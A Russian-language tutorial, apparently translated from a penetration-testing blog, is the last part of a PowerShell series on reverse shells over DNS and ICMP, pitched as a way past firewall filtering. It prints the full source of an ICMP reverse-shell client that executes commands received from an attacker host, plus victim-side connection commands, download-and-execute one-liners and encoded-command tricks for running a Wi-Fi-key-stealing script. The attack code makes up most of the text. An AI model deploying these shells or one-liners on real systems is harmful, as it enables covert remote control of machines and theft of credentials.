21.11.2015

Мастер-класс по работе с PowerShell. Часть 5 – Шелл на базе протоколов DNS и ICMP

image

В пятой и последней части мы поговорим о шеллах на базе протоколов ICMP и DNS. Обычно ICMP- и DNS-трафик не особо фильтруется фаерволами, поскольку вредоносные шеллы чаще базируются на протоколах TCP и UDP.

Автор: Nikhil SamratAshok Mittal

Предыдущие статьи данного цикла:

В пятой и последней части мы поговорим о шеллах на базе протоколов ICMP и DNS. Обычно ICMP- и DNS-трафик не особо фильтруется фаерволами, поскольку вредоносные шеллы чаще базируются на протоколах TCP и UDP. Именно поэтому злоумышленники для организации шеллов все чаще прибегают к использованию именно ICMP и DNS.

В качестве DNS-сервера подойдет разработка Рона Боуса под названием dnscat2. На Windows-машине жертвы, как и в предыдущих статьях, мы снова будем использовать powercat.

Ниже показана команда для запуска сервера dnscat2:

root@Kali:~/Desktop# ruby ./dnscat2.rb reversedns-shell.org

Для соединения с сервером в системе жертвы выполняем команду ниже:

PS C:\> powercat -c 192.168.254.226 -p 53 -dns reversedns-shell.org

Получаем следующий результат:

http://1.bp.blogspot.com/-n_obIhtzFRo/VVW5w6cievI/AAAAAAAABTs/N3XJqKe17xU/s1600/dnscat.png

Рисунок 1: Жертва подключилась к нашему серверу

Теперь у нас есть полноценный шелл на базе протокола DNS.

Мы использовали прямые соединения к DNS-серверу, но dnscat2 также поддерживает и непрямые.

Анализ трафика в WireShark:

http://3.bp.blogspot.com/-QdAImW8IEuA/VVW7grxGs3I/AAAAAAAABT4/Jt68lnO4CIk/s1600/wireshark.png

Рисунок 2: Анализ DNS-трафика

Собранные пакеты можно скачать по следующей ссылке: https://drive.google.com/folderview?id=0B-Hsu8q12kG3fmV6YUpOOVJzaC05cnRRZ3huV2xZUkNlOHplSkFqZ0VjVFNpU2NTZGpUN1E&usp=sharing

В моем блоге есть статья, посвященная выполнению команд, скриптов и шеллкодов, сгенерированных при помощи msfvenom. Но там нет интерактивной оболочки.

Теперь перейдем к протоколу ICMP. В качестве сервера будет использоваться скрипт icmpsh, написанный Бернардо Дамеле (@inquisb). Я же написал клиента Invoke-PowerShellIcmp.

Исходный текст клиента:

function Invoke-PowerShellIcmp
{

[CmdletBinding()] Param(

[Parameter(Position = 0, Mandatory = $true)]
[String]
$IPAddress,

[Parameter(Position = 1, Mandatory = $false)]
[Int]
$Delay,

[Parameter(Position = 2, Mandatory = $false)]
[Int]
$BufferSize = 128

)

#Basic structure from http://stackoverflow.com/questions/20019053/sending-back-custom-icmp-echo-response
$ICMPClient = New-Object System.Net.NetworkInformation.Ping
$PingOptions = New-Object System.Net.NetworkInformation.PingOptions
$PingOptions.DontFragment = $True

# Shell appearance and output redirection based on Powerfun - Written by Ben Turner & Dave Hardy

$sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user "
+ $env:username + " on " + $env:computername + "
`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n")
$ICMPClient.Send($IPAddress,60 * 1000, $sendbytes, $PingOptions) | Out-Null

#Show an interactive PowerShell prompt
$sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '> ')
$ICMPClient.Send($IPAddress,60 * 1000, $sendbytes, $PingOptions) | Out-Null

while ($true)
{
$sendbytes = ([text.encoding]::ASCII).GetBytes('')
$reply = $ICMPClient.Send($IPAddress,60 * 1000, $sendbytes, $PingOptions)

#Check for Command from the server
if ($reply.Buffer)
{
$response = ([text.encoding]::ASCII).GetString($reply.Buffer)
$result = (Invoke-Expression -Command $response 2>&1 | Out-String )
$sendbytes = ([text.encoding]::ASCII).GetBytes($result)
$index = [math]::floor($sendbytes.length/$BufferSize)
$i = 0

#Fragmant larger output into smaller ones to send to the server.
if ($sendbytes.length -gt $BufferSize)
{
while ($i -lt $index )
{
$sendbytes2 = $sendbytes[($i*$BufferSize)..(($i+1)*$BufferSize)]
$ICMPClient.Send($IPAddress,60 * 10000, $sendbytes2, $PingOptions) | Out-Null
$i +=1
}
$remainingindex = $sendbytes.Length%$BufferSize
if ($remainingindex -ne 0)
{
$sendbytes2 = $sendbytes[($i*$BufferSize)..($remainingindex)]
$ICMPClient.Send($IPAddress,60 * 10000, $sendbytes2, $PingOptions) | Out-Null
}
}
else
{
$ICMPClient.Send($IPAddress,60 * 10000, $sendbytes, $PingOptions) | Out-Null
}
$sendbytes = ([text.encoding]::ASCII).GetBytes("`nPS " + (Get-Location).Path + '> ')
$ICMPClient.Send($IPAddress,60 * 1000, $sendbytes, $PingOptions) | Out-Null
}
else
{
Sleep -Seconds 5
}
}
}

Как обычно, скрипт можно взять из папки https://github.com/samratashok/nishang/tree/master/Shells

Команды ниже отключают ответные пинги (IPv4) и запускают сервер:

root@Kali:~/Desktop# sysctl -w net.ipv4.icmp_echo_ignore_all=1
root@Kali:~/Desktop# python icmpsh_m.py 192.168.254.226 192.168.254.1

Команда ниже запускается на машине жертвы:

PS C:\> Invoke-PowerShellIcmp -IPAddress 192.168.254.226

Результат:

http://3.bp.blogspot.com/-pgpC-4mSuqE/VVXXZIBtFPI/AAAAAAAABUI/RLRl2Xp9qFc/s1600/Invoke-PowerShellIcmp.png

Рисунок 3: Шелл на базе протокола ICMP

Анализ в WireShark:

http://1.bp.blogspot.com/-5i5FsFJrZig/VVXXpeVkBAI/AAAAAAAABUQ/GVphTTogZOQ/s1600/VMware%2BNetwork%2BAdapter%2BVMnet8%2B%2B%2B%5BWireshark%2B1.12.4%2B%2B(v1.12.4-0-gb4861da%2Bfrom%2Bmas_2015-05-15_15-50-27.png

Рисунок 4: Анализ ICMP-трафика

Собранные пакеты можно скачать по следующей ссылке: https://drive.google.com/folderview?id=0B-Hsu8q12kG3fmV6YUpOOVJzaC05cnRRZ3huV2xZUkNlOHplSkFqZ0VjVFNpU2NTZGpUN1E&usp=sharing

Видео демонстрация шеллов на базе протоколов DNS и ICMP:

https://www.youtube.com/watch?v=i-YFml79bKc

Для каждого из пяти типов шеллов, упоминаемых в этом цикле, скрипты можно запускать при помощи параметра –EncodedCommand (или -e), предназначенного для использования закодированных команд.

Например, для запуска Get-WLANKeys, закодируйте этот скрипт при помощи Invoke-Encode (https://github.com/samratashok/nishang). Перед кодированием не забудьте удалить объявление функции и секцию, касающуюся справочной информации:

PS C:\nishang> Import-Module .\nishang.psm1

PS C:\nishang> Invoke-Encode -DataToEncode .\Gather\Get-WLANKeysModified.ps1 –OutCommand

Наглядная демонстрация:

http://4.bp.blogspot.com/-gLQMf1PS2yk/VVXsi5Dyr7I/AAAAAAAABVE/-fQLAS6Jx08/s1600/Invoke-Encode.png

Рисунок 5: Кодирование скрипта Get-WLANKeysModified.ps1

Затем можно использовать закодированный скрипт из файла encodedcommand.txt с любым шеллом:

http://2.bp.blogspot.com/-nDfCXgfCw0g/VVXxDNpqbCI/AAAAAAAABVQ/jwkGrN-5eR4/s1600/script-execution.png

Рисунок 6: Пример запуска закодированного скрипта

Или вы можете использовать команду ниже для запуска скриптов с локального веб-сервера:

PS C:\nishang> (New-Object Net.Webclient).DownloadString('http://192.168.254.226/powerpreter.psm1');Get-Information

В некоторых типах шеллов, если закодированный скрипт слишком большой, возникают ошибки. Причина пока не выяснена.

Наилучший способ передать параметры модулям или скриптам при использовании параметра –EncodedCommand – включить передаваемый параметр в сам скрипт.

Для передачи файлов лучше всего использовать однострочный загрузчик ниже:

PS C:\nishang> (New-Object Net.Webclient).DownloadFile('http://192.168.254.226/test/nmap.zip',"$env:TEMP\nmap.zip")

В качестве хранилища файлов обычно используется локальный веб-сервер (Apache/HFS).

Заключение

На этом я заканчиваю цикл мастер-классов, посвященных работе с PowerShell. Если честно, под конец я немного утомился. Во время написания статей я подчерпнул для себя много нового. Надеюсь, что и вы тоже. Главной задачей для меня было сделать статьи краткими и одновременно информативными, но без углубления в дебри. Именно поэтому я не стал описывать детали используемых протоколов. Хотелось бы верить, что цели, поставленные вначале данного цикла, достигнуты. То есть вы стали более осведомлены относительно возможностей PowerShell.

Также надеюсь, что вы просто получили удовольствие от чтения этих статей в не меньшем объеме, чем получил я во время их написания. 


DB query error.
Please try later.